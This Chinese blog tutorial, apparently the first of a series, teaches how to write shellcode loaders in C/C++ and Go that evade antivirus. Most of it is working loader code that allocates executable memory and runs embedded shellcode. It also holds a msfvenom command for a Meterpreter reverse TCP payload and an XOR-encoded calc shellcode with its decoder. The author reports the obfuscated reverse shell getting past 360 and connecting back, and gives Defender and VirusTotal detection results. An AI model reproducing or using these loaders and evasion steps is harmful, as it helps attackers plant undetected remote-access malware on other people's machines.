这是从0开始写ShellCode加载器的第0篇文章,文章列表,样本demo已上传到GitHub

C/C++加载shellcode

源码+shellcode直接编译:函数指针执行,汇编指令执行,申请动态内存

使用加载器加载shellcode

函数指针执行

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include<windows.h>
# pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//设置入口地址,不弹出黑窗口
unsigned char buf[] =
"shellcode";

void main()
{
((void(*)(void)) & buf)();
}

申请动态内存加载

1
2
3
4
5
6
7
8
9
10
11
12
unsigned char buf[] =
"shellcode";

int main()
{
PVOID Memory;
Memory = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
//动态分配虚地址空间
memcpy(Memory,buf,sizeof(buf));
//复制内存内容
((void(*)())Memory)();
}

内联汇编加载

1
2
3
4
5
6
7
8
9
10
11
12
#include <windows.h>  
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "shellcode";
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}

Go语言加载shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package main

import (
"fmt"
"os"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x51, 0x48, 0x8b,
0x52, 0x20, 0x56, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c,
}
)

func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}

func main() {
shellcode := shellcode_buf
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
fmt.Println("内存分配成功")
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
fmt.Println("内存复制成功")
syscall.Syscall(addr, 0, 0, 0, 0)
}

使用go加载shellcode有两个问题需要注意,一是shellcode要生成x64架构的,二是shellcode需要生成num格式

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xxxxxxx lport=xxxx -a x64 -f num

shellcode变形免杀初探

shellcode的本质是计算机可直接执行的机器码,比汇编语言更低一层的存在,对于msf生成的一段弹出calc.exe的shellcode,翻译成汇编语言如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
00446000 | FC               | cld                                   |
00446001 | E8 82000000 | call shellcodeanalyse.446088 |
00446006 | 60 | pushad |
00446007 | 89E5 | mov ebp,esp | upper stack
00446009 | 31C0 | xor eax,eax | eax:unsigned char * buf
0044600B | 64:8B50 30 | mov edx,dword ptr fs:[eax+30] | PEB
0044600F | 8B52 0C | mov edx,dword ptr ds:[edx+C] | DllList
00446012 | 8B52 14 | mov edx,dword ptr ds:[edx+14] | InMemoryOrderModuleList
00446015 | 8B72 28 | mov esi,dword ptr ds:[edx+28] | Full_DLLNAME_Buffer
00446018 | 0FB74A 26 | movzx ecx,word ptr ds:[edx+26] | MaximumLength
0044601C | 31FF | xor edi,edi | edi:___argv
0044601E | AC | lodsb |
0044601F | 3C 61 | cmp al,61 | upper(ch)
00446021 | 7C 02 | jl shellcodeanalyse.446025 |
00446023 | 2C 20 | sub al,20 |
00446025 | C1CF 0D | ror edi,D | (rotate)res>> 0xD
00446028 | 01C7 | add edi,eax | edi:___argv, eax:unsigned char * buf
0044602A | E2 F2 | loop shellcodeanalyse.44601E |
0044602C | 52 | push edx | edi:hash of(dll name)
0044602D | 57 | push edi | edi:___argv
0044602E | 8B52 10 | mov edx,dword ptr ds:[edx+10] | dllbase
00446031 | 8B4A 3C | mov ecx,dword ptr ds:[edx+3C] | nt_headers
00446034 | 8B4C11 78 | mov ecx,dword ptr ds:[ecx+edx+78] | export_entry
00446038 | E3 48 | jecxz shellcodeanalyse.446082 | jump if ecx==0 judge if export

原文https://blog.csdn.net/qq_35740100/article/details/116300959

结合一段弹出calc的shellcode进行试验

image-20220214210558174

有程序的输出可知,shellcode的长度为194字节,\x意味着后面是16进制。所以shellcode就是一段194字节长的16进制数据。由于shellcode是16进制而不是字符串的缘故,用常规的加密思路去处理显得很困难。

在这里我使用异或的方法处理shellcode,异或的特点是原数据经过两次异或后与原来相同,本例中最终的buf经过函数指针执行是可以正常启动calc.exe的。将第一次异或后密文保存,使用时在代码中解密,就是变形免杀的初步思想。

image-20220214212414026

1
2
3
4
5
6
7
8
9
10
11
12
void main()
{
unsigned char buf[] = "\xf6\xe2\x88\xa\xa\xa\x6a\x83\xef\x3b\xca\x6e\x81\x5a\x3a\x81\x58\x6\x81\x58\x1e\x81\x78\x22\x5\xbd\x40\x2c\x3b\xf5\xa6\x36\x6b\x76\x8\x26\x2a\xcb\xc5\x7\xb\xcd\xe8\xf8\x58\x5d\x81\x58\x1a\x81\x40\x36\x81\x46\x1b\x72\xe9\x42\xb\xdb\x5b\x81\x53\x2a\xb\xd9\x81\x43\x12\xe9\x30\x43\x81\x3e\x81\xb\xdc\x3b\xf5\xa6\xcb\xc5\x7\xb\xcd\x32\xea\x7f\xfc\x9\x77\xf2\x31\x77\x2e\x7f\xee\x52\x81\x52\x2e\xb\xd9\x6c\x81\x6\x41\x81\x52\x16\xb\xd9\x81\xe\x81\xb\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x55\x55\x50\x81\x18\xe1\x87\x57\x60\xb\x87\x8f\xb8\xa\xa\xa\x5a\x62\x3b\x81\x65\x8d\xf5\xdf\xb1\xfa\xbf\xa8\x5c\x62\xac\x9f\xb7\x97\xf5\xdf\x36\xc\x76\x0\x8a\xf1\xea\x7f\xf\xb1\x4d\x19\x78\x65\x60\xa\x59\xf5\xdf\x69\x6b\x66\x69\x24\x6f\x72\x6f\xa\xa";
int shellcodesize = sizeof(buf);
printf("%d\n",shellcodesize);
for(int i = 0;i<shellcodesize; i++)
{
buf[i] ^= 10;
}
((void(*)(void)) & buf)();

}

将shellcode换成反弹shell再次进行试验,360动态静态全部免杀正常上线。但是当360开启鲲鹏引擎时动静都被查杀。

image-20220214215609208

windows defender直接查杀

image-20220214214317184

从vt查杀率来看,效果还有待提高,不过相比未作处理已有很大改善。

image-20220214220213323